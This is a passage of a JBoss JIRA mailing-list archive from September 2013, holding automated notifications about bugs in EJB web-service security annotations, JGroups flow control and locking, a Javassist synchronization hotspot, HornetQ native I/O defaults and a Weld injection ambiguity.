>            Assignee: Alessio Soldano
>
> Using @WebContext on EJB Web service endpoints results in the following two "bugs":
> - Normal EJB security annotations on methods are not honored
> - The EJB container does not get a chance to honor the 'missing-method-permissions-deny-access' element in jboss-ejb3.xml, standalone.xml (etc) 
> A simple EJB with a Web service view can illustrate the first problem: 
> {code:java}
> @Stateless 
> @WebService 
> @SecurityDomain("other")
> @org.jboss.ws.api.annotation.WebContext(contextRoot = "/greeterCtx", urlPattern = "/Greeter", authMethod = "BASIC", secureWSDLAccess = false))
> public class Greeter {
> 	@PermitAll // <-- This doesn't work
> 	//@RolesAllowed("SECRET_CLIENT_ROLE") // <-- Neither does this!
> 	// <--- unless you put them on class level 
>     public String sayHello(String name) {
>         System.out.println("******** Greeter.sayHello(" + name + ")");
>         return "Hello " + name;
>     }
> }
> {code}
> So the problem here is that you are not allowed to invoke the Web Service operation (sayHello). Add to that a completely silent behavior. No stack traces. No trace logging. Nothing.
>  
> Now if you take this EJB and remove the @PermitAll (and @RolesAllowed if any) annotation. And if you specify 'false' in jboss-ejb3.xml#missing-method-permissions-deny-access. Then you are not allowed to call the EJB either.
> These are my observations obtained from browsing through the source and playing around with the debugger:
> - When you add the @WebContext(authMethod = "BASIC") annotation on an EJB, you effectively enable authorization logic in addition to authentication logic. This authorization code lives in Web container code (in code from the "jboss web" project). Not in the EJB container - which otherwise is responsible for honoring the @PermitAll, at DenyAll, at RolesAllowed annotations in addition to the 'missing-method-permissions-deny-access' element.
> - This web layer code, silently rejects access to methods exposed through the EJB web service view, if there is no security annotations on the EJB bean class
> You can put @RolesAllowed or @PermitAll on your EJB's web service view methods - but they are never honored by JBoss AS
> -- ...But: if you put these annotations on your bean class, then access is granted as expected
> - You can set 'missing-method-permissions-deny-access' to false (in JBoss AS' profile configuration file or the JBoss AS specific module DD file) - but it is never used by JBoss AS
>  
> Proposed solution:
> If the upper Web container layer correctly can propagate the method invocation to the EJB container - then appropriate authorizations check will follow - and ultimately fixing these issues.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 07:19:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 07:19:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.39294.1379935143671@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806457#comment-12806457 ] 

Bela Ban commented on JGRP-1675:
--------------------------------

No, I don't want to run the entire Radargun test to find the needle in the haystack... :-)

Thinking about this logically, the problem you see is caused by retransmissions not getting served because the OOB thread pool is exhausted ? I can think of a few things to try out:
* Increasing OOB.max_threads: this would potentially create a lot of threads, but what's the current max and have you tried setting this to a large value for your test ?
* It seems the application issues a lot of OOB (RPC?) calls. Are these blocking ? I though we bypass flow control for blocking (sync) RPCs ?
* We could send retransmission requests as INTERNAL, bypassing the OOB thread pool. 
** This would of course require an internal pool to be enabled, but by default it is anyway...

Can you briefly describe what the RadarGun test does ? Blocking RPCs with mode=REPL ?

WDYT ?
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:21:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 07:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-163) RuntimeSupport.find2Methods
 a perf hotspot when proxy's methods are called at higher concurrency
In-Reply-To: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12462896.1333114028000.39310.1379935264287@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JASSIST-163?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806461#comment-12806461 ] 

RH Bugzilla Integration commented on JASSIST-163:
-------------------------------------------------

Zbyn?k Roubal?k <zroubali at redhat.com> changed the Status of [bug 900690|https://bugzilla.redhat.com/show_bug.cgi?id=900690] from ON_QA to VERIFIED
                
> RuntimeSupport.find2Methods a perf hotspot when proxy's methods are called at higher concurrency
> ------------------------------------------------------------------------------------------------
>
>                 Key: JASSIST-163
>                 URL: https://issues.jboss.org/browse/JASSIST-163
>             Project: Javassist
>          Issue Type: Enhancement
>    Affects Versions: 3.15.0-GA, 3.16.1-GA
>         Environment: hibernate-core 3.6.10.Final
>            Reporter: Nikita Tovstoles
>            Assignee: Shigeru Chiba
>             Fix For: 3.17.0-GA
>
>         Attachments: Bean_$$_bulkaccess_0.txt, Bean_$$_bulkaccess_0_Two.txt, blocked-threads.png, BulkAccessorFactory.java.diff, BulkAccessorFactory.java.diff2, BulkAccessorFactory.patch, find2methods-hotspot.png, jassist-163-fix.patch, monitor-backtraces.png, monitor-backtraces.png, Product.java, Product_$$_javassist_0-post-patch.java, Product_$$_javassist_0.java, Tomcat-2012-03-28(2).zip
>
>
> We've been profiling our Hibernate 3.6.10-based app and noticed a perf bottleneck in javassist.util.proxy.RuntimeSupport.find2methods. Unfortunately, this method, which has a synch. block, is being called on
> every invocation of every proxied entity method (see javassist.util.proxy.ProxyFactory.makeForwarder(), called indirectly by
> ProxyFactory.createClass()).
> In our testing, the result is that our service call's latency increases from 33 to 55, 260, 400ms as concurrency increases
> 1-10-20-30 users on a 4-core CPU. At 20 and 30 users 51% of CPU time is spent contending for a monitor in RuntimeSupport.find2methods:
> {code}
>         synchronized (methods) {
>             if (methods[index] == null) {
>                 methods[index + 1] = thisMethod == null ? null
>                                      : findMethod(self, thisMethod, desc);
>                 methods[index] = findSuperMethod(self, superMethod, desc);
>             }
>         }
> {code} 
> Since find2methods merely interrogates class metadata, seems like its return values should be cached (in a ConcurrentMap?) instead of repeatedly executing the above synchronized statement. Instead, currently, it's being called every time (?) a proxied method is executed - see *Invocation Count* in this screen shot:
> https://issues.jboss.org/secure/attachment/12353025/monitor-backtraces.png
> Full [YourKit profile|http://yourkit.com] is [attached as a ZIP archive|^Tomcat-2012-03-28(2).zip]; key screen shots from the snapshot also attached separately

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 07:21:05 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 07:21:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.39331.1379935265292@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806464#comment-12806464 ] 

Bela Ban commented on JGRP-1675:
--------------------------------

Sorry, re-read your original comment: you're sending all messages as *regular* messages. So the *regular* pool is exhausted. Now I don't understand why retransmission messages aren't handled, as they're tagged as OOB...
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:21:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 07:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-163) RuntimeSupport.find2Methods
 a perf hotspot when proxy's methods are called at higher concurrency
In-Reply-To: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12462896.1333114028000.39320.1379935264765@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JASSIST-163?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806460#comment-12806460 ] 

RH Bugzilla Integration commented on JASSIST-163:
-------------------------------------------------

Zbyn?k Roubal?k <zroubali at redhat.com> made a comment on [bug 900690|https://bugzilla.redhat.com/show_bug.cgi?id=900690]

EAP 6.2.0.ER1
                
> RuntimeSupport.find2Methods a perf hotspot when proxy's methods are called at higher concurrency
> ------------------------------------------------------------------------------------------------
>
>                 Key: JASSIST-163
>                 URL: https://issues.jboss.org/browse/JASSIST-163
>             Project: Javassist
>          Issue Type: Enhancement
>    Affects Versions: 3.15.0-GA, 3.16.1-GA
>         Environment: hibernate-core 3.6.10.Final
>            Reporter: Nikita Tovstoles
>            Assignee: Shigeru Chiba
>             Fix For: 3.17.0-GA
>
>         Attachments: Bean_$$_bulkaccess_0.txt, Bean_$$_bulkaccess_0_Two.txt, blocked-threads.png, BulkAccessorFactory.java.diff, BulkAccessorFactory.java.diff2, BulkAccessorFactory.patch, find2methods-hotspot.png, jassist-163-fix.patch, monitor-backtraces.png, monitor-backtraces.png, Product.java, Product_$$_javassist_0-post-patch.java, Product_$$_javassist_0.java, Tomcat-2012-03-28(2).zip
>
>
> We've been profiling our Hibernate 3.6.10-based app and noticed a perf bottleneck in javassist.util.proxy.RuntimeSupport.find2methods. Unfortunately, this method, which has a synch. block, is being called on
> every invocation of every proxied entity method (see javassist.util.proxy.ProxyFactory.makeForwarder(), called indirectly by
> ProxyFactory.createClass()).
> In our testing, the result is that our service call's latency increases from 33 to 55, 260, 400ms as concurrency increases
> 1-10-20-30 users on a 4-core CPU. At 20 and 30 users 51% of CPU time is spent contending for a monitor in RuntimeSupport.find2methods:
> {code}
>         synchronized (methods) {
>             if (methods[index] == null) {
>                 methods[index + 1] = thisMethod == null ? null
>                                      : findMethod(self, thisMethod, desc);
>                 methods[index] = findSuperMethod(self, superMethod, desc);
>             }
>         }
> {code} 
> Since find2methods merely interrogates class metadata, seems like its return values should be cached (in a ConcurrentMap?) instead of repeatedly executing the above synchronized statement. Instead, currently, it's being called every time (?) a proxied method is executed - see *Invocation Count* in this screen shot:
> https://issues.jboss.org/secure/attachment/12353025/monitor-backtraces.png
> Full [YourKit profile|http://yourkit.com] is [attached as a ZIP archive|^Tomcat-2012-03-28(2).zip]; key screen shots from the snapshot also attached separately

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 07:23:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 07:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.39340.1379935383401@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1675:
---------------------------

    Comment: was deleted

(was: Sorry, re-read your original comment: you're sending all messages as *regular* messages. So the *regular* pool is exhausted. Now I don't understand why retransmission messages aren't handled, as they're tagged as OOB...)

    
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 07:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-789) HornetQ native library(AIO)
 are loaded by default - for transaction manager using hornetq object store
In-Reply-To: <JIRA.12487704.1363871144000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12487704.1363871144000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12487704.1363871144000.39424.1379936823816@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-789?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806480#comment-12806480 ] 

RH Bugzilla Integration commented on WFLY-789:
----------------------------------------------

Ondrej Chaloupka <ochaloup at redhat.com> changed the Status of [bug 913117|https://bugzilla.redhat.com/show_bug.cgi?id=913117] from ON_QA to VERIFIED
                
> HornetQ native library(AIO) are loaded by default - for transaction manager using hornetq object store
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-789
>                 URL: https://issues.jboss.org/browse/WFLY-789
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> The issue cloned for upstream from an EAP6 bugzilla.
> original description:
> {quote}
> It seems that in case that of using hornetq for implementation of object store (configuration of transaction subsystem via <use-hornetq-store/> tag) the native library (AIO) is used automatically without necessity of user confirmation.
> For EAP 6.0.1 was decided that native library can't be used without explicit customer configuration request. Please check discussion on bug #900591.
> The NIO should be used until customer defined otherwise.
> The configuration option is missing in TM and after the adding it the EAP configuration should reflect fact that the default behaviour should be NIO.
> {quote}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:47:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 07:47:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-789) HornetQ native library(AIO)
 are loaded by default - for transaction manager using hornetq object store
In-Reply-To: <JIRA.12487704.1363871144000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12487704.1363871144000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12487704.1363871144000.39434.1379936824289@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-789?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806482#comment-12806482 ] 

RH Bugzilla Integration commented on WFLY-789:
----------------------------------------------

Ondrej Chaloupka <ochaloup at redhat.com> made a comment on [bug 913117|https://bugzilla.redhat.com/show_bug.cgi?id=913117]

Verified for EAP 6.2.0.ER2
                
> HornetQ native library(AIO) are loaded by default - for transaction manager using hornetq object store
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-789
>                 URL: https://issues.jboss.org/browse/WFLY-789
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> The issue cloned for upstream from an EAP6 bugzilla.
> original description:
> {quote}
> It seems that in case that of using hornetq for implementation of object store (configuration of transaction subsystem via <use-hornetq-store/> tag) the native library (AIO) is used automatically without necessity of user confirmation.
> For EAP 6.0.1 was decided that native library can't be used without explicit customer configuration request. Please check discussion on bug #900591.
> The NIO should be used until customer defined otherwise.
> The configuration option is missing in TM and after the adding it the EAP configuration should reflect fact that the default behaviour should be NIO.
> {quote}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:52:03 2013
From: jira-events at lists.jboss.org (Alessio Soldano (JIRA))
Date: Mon, 23 Sep 2013 07:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1759) Existing management WS
 section improvements / consolidation
In-Reply-To: <JIRA.12497319.1374747761000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497319.1374747761000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497319.1374747761000.39439.1379937123548@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1759?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Alessio Soldano updated WFLY-1759:
----------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Existing management WS section improvements / consolidation
> -----------------------------------------------------------
>
>                 Key: WFLY-1759
>                 URL: https://issues.jboss.org/browse/WFLY-1759
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Web Services
>            Reporter: Alessio Soldano
>            Assignee: Alessio Soldano
>             Fix For: 8.0.0.Beta1
>
>
> We need to clarify the ws integration behavior when user provides not valid or undefined values in the webservices section of the domain. It's also not clear what the stack does after values are set in fields requiring re-load.
> We should also consider creating services for EndpointConfigAdd/Remove, HandlerAdd/Remove, HandlerChainAdd/Remove, PropertyAdd/Remove (at least for the first couple), similarly to what has been done for ClientConfigAdd/Remove in WFLY-227.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:52:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 07:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1660) LockService hangs during
 concurrent access (tryLock/tryLock(timeout)/lock/unlock)
In-Reply-To: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496765.1374141727000.39444.1379937123759@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1660?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806485#comment-12806485 ] 

Bela Ban commented on JGRP-1660:
--------------------------------

I tried your test case with 2 instances, converting it to TestNG and running this on 3.4.0.Beta1, and the test passes. 
I tried it a second time, and this passes as well. The latest test and lock.xml are attached.
                
> LockService hangs during concurrent access (tryLock/tryLock(timeout)/lock/unlock)
> ---------------------------------------------------------------------------------
>
>                 Key: JGRP-1660
>                 URL: https://issues.jboss.org/browse/JGRP-1660
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.4, 3.3.3
>         Environment: Intel(R) Core(TM) i5-2310 CPU @ 2.90GHz
> 6GB RAM
> Windows 7
> JRE 1.6.31
>            Reporter: Architect SoftWeb.ISD
>            Assignee: Bela Ban
>             Fix For: 3.3.5, 3.4
>
>         Attachments: bla2.java, lock.xml, LockServiceStabilityTestCase.java, LockServiceStabilityTestCase.java, lockservice_stability_testcase.jar
>
>
> We have rather simple test that starts some amount of threads which in turn simultaneously obtain lock through LockService#getLock then perform lock and unlock.
> Each thread works during some time.
> After couple of seconds of work some threads just hang up in Locking$ClientLock(Object).wait() called indirectly from LockService$LockImpl.tryLock().
> Here is stack trace:
> Thread [Thread-ClientImitation-1] (Suspended)                
>                 Object.wait(long) line: not available [native method]      
>                 Locking$ClientLock(Object).wait() line: 485          
>                 Locking$ClientLock.acquireTryLock(long, boolean) line: 1010       
>                 Locking$ClientLock.tryLock() line: 896     
>                 CENTRAL_LOCK(Locking).down(Event) line: 152                
>                 ProtocolStack.down(Event) line: 1025    
>                 JChannel.down(Event) line: 718                
>                 LockService$LockImpl.tryLock() line: 102               
>                 LockServiceStabilityTestCase$ClientImitation.run() line: 167        
>                 Thread.run() line: 662     

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:54:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 07:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1660) LockService hangs during
 concurrent access (tryLock/tryLock(timeout)/lock/unlock)
In-Reply-To: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496765.1374141727000.39456.1379937243890@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1660?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1660:
---------------------------

    Attachment: lock.xml
                LockServiceStabilityTestCase.java

    
> LockService hangs during concurrent access (tryLock/tryLock(timeout)/lock/unlock)
> ---------------------------------------------------------------------------------
>
>                 Key: JGRP-1660
>                 URL: https://issues.jboss.org/browse/JGRP-1660
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.4, 3.3.3
>         Environment: Intel(R) Core(TM) i5-2310 CPU @ 2.90GHz
> 6GB RAM
> Windows 7
> JRE 1.6.31
>            Reporter: Architect SoftWeb.ISD
>            Assignee: Bela Ban
>             Fix For: 3.3.5, 3.4
>
>         Attachments: bla2.java, lock.xml, lock.xml, LockServiceStabilityTestCase.java, LockServiceStabilityTestCase.java, LockServiceStabilityTestCase.java, lockservice_stability_testcase.jar
>
>
> We have rather simple test that starts some amount of threads which in turn simultaneously obtain lock through LockService#getLock then perform lock and unlock.
> Each thread works during some time.
> After couple of seconds of work some threads just hang up in Locking$ClientLock(Object).wait() called indirectly from LockService$LockImpl.tryLock().
> Here is stack trace:
> Thread [Thread-ClientImitation-1] (Suspended)                
>                 Object.wait(long) line: not available [native method]      
>                 Locking$ClientLock(Object).wait() line: 485          
>                 Locking$ClientLock.acquireTryLock(long, boolean) line: 1010       
>                 Locking$ClientLock.tryLock() line: 896     
>                 CENTRAL_LOCK(Locking).down(Event) line: 152                
>                 ProtocolStack.down(Event) line: 1025    
>                 JChannel.down(Event) line: 718                
>                 LockService$LockImpl.tryLock() line: 102               
>                 LockServiceStabilityTestCase$ClientImitation.run() line: 167        
>                 Thread.run() line: 662     

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:54:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 07:54:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1660) LockService hangs during
 concurrent access (tryLock/tryLock(timeout)/lock/unlock)
In-Reply-To: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496765.1374141727000.39460.1379937244097@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1660?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1660.
----------------------------

    Resolution: Cannot Reproduce Bug


Resolving this for now. If you can reproduce this under 3.4.x, reopen the case (but it will get pushed into 3.5 then).
                
> LockService hangs during concurrent access (tryLock/tryLock(timeout)/lock/unlock)
> ---------------------------------------------------------------------------------
>
>                 Key: JGRP-1660
>                 URL: https://issues.jboss.org/browse/JGRP-1660
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.4, 3.3.3
>         Environment: Intel(R) Core(TM) i5-2310 CPU @ 2.90GHz
> 6GB RAM
> Windows 7
> JRE 1.6.31
>            Reporter: Architect SoftWeb.ISD
>            Assignee: Bela Ban
>             Fix For: 3.4, 3.3.5
>
>         Attachments: bla2.java, lock.xml, lock.xml, LockServiceStabilityTestCase.java, LockServiceStabilityTestCase.java, LockServiceStabilityTestCase.java, lockservice_stability_testcase.jar
>
>
> We have rather simple test that starts some amount of threads which in turn simultaneously obtain lock through LockService#getLock then perform lock and unlock.
> Each thread works during some time.
> After couple of seconds of work some threads just hang up in Locking$ClientLock(Object).wait() called indirectly from LockService$LockImpl.tryLock().
> Here is stack trace:
> Thread [Thread-ClientImitation-1] (Suspended)                
>                 Object.wait(long) line: not available [native method]      
>                 Locking$ClientLock(Object).wait() line: 485          
>                 Locking$ClientLock.acquireTryLock(long, boolean) line: 1010       
>                 Locking$ClientLock.tryLock() line: 896     
>                 CENTRAL_LOCK(Locking).down(Event) line: 152                
>                 ProtocolStack.down(Event) line: 1025    
>                 JChannel.down(Event) line: 718                
>                 LockService$LockImpl.tryLock() line: 102               
>                 LockServiceStabilityTestCase$ClientImitation.run() line: 167        
>                 Thread.run() line: 662     

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 08:34:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 08:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1620) EJB in CDI enabled module
 gets registered twice leading to WELD-001409 Ambiguous dependencies...
In-Reply-To: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495442.1372692661000.39583.1379939643864@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1620?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806506#comment-12806506 ] 

RH Bugzilla Integration commented on WFLY-1620:
-----------------------------------------------

Marek Schmidt <maschmid at redhat.com> changed the Status of [bug 980183|https://bugzilla.redhat.com/show_bug.cgi?id=980183] from ON_QA to VERIFIED
                
> EJB in CDI enabled module gets registered twice leading to WELD-001409 Ambiguous dependencies...
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1620
>                 URL: https://issues.jboss.org/browse/WFLY-1620
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Brad Maxwell
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha3
>
>
> If you have this no-interface @Stateless EJB in the module and have a
> beans.xml inside the module jar as well and then have a deployment
> depends on & imports the annotations, and then uses @Inject TestEjb,
> Weld will complain that there are two options an EJB and a ManagedBean
